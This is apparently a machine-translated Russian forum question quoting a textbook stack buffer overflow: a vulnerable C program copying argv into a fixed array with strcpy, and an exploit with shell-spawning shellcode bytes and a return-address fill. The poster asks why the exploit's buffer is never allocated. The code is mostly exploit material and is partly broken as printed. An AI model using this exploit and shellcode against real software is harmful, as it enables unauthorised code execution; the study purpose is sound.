Из «Справочника по шелкодеру», жертва. c выглядит следующим образом
// victim.c
int main(int argc,char *argv[])
{
char little_array[512];
if (argc > 1)
strcpy(little_array,argv[1]);
}
Его эксплойт, атака. c выглядит следующим образом
#include <stdlib.h>
#define offset_size 0
#define buffer_size 512
char sc[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; //the shellcode(Spawn shell)
unsigned long find_start(void) {
__asm__("movl %esp,%eax"); //Get ESP's value and return it.
}
int main(int argc, char *argv[])
{
char *buff, *ptr;
long *addr_ptr, addr; //addr_ptr: The address of the NOP sled to jump to when the program retrieves its saved EIP.
int offset=offset_size, bsize=buffer_size;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
addr = find_start() - offset;
printf("Attempting address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0; i < strlen(sc); i++)
*(ptr++) = sc[i];
buff[bsize - 1] = '\0';
memcpy(buff,"BUF=",4);
putenv(buff);
system("/bin/bash");
}
ptr = buff;
присваивает значение мусора баффа ptr
(бафф не инициализируется). Следующая строка, addr_ptr = (long *) ptr;
, присваивает значение ptr
(значение мусора buff
) addr_ptr
. Намерение автора на эти строки мне неясно. Предполагается, что addr_ptr содержит адрес, на который переходит программа, предпочтительно салазки NOP, когда она получает сохраненный EIP. Тем не менее, addr_ptr
содержит вместо этого значение мусора.
Я считаю, buff
должен быть распределен динамически, сначала используется mallo c.
Я знаю, что в "Руководстве по Shellcoder" есть много ошибок, но это одна из немногих книг, в которых говорится об эксплуатации программного обеспечения.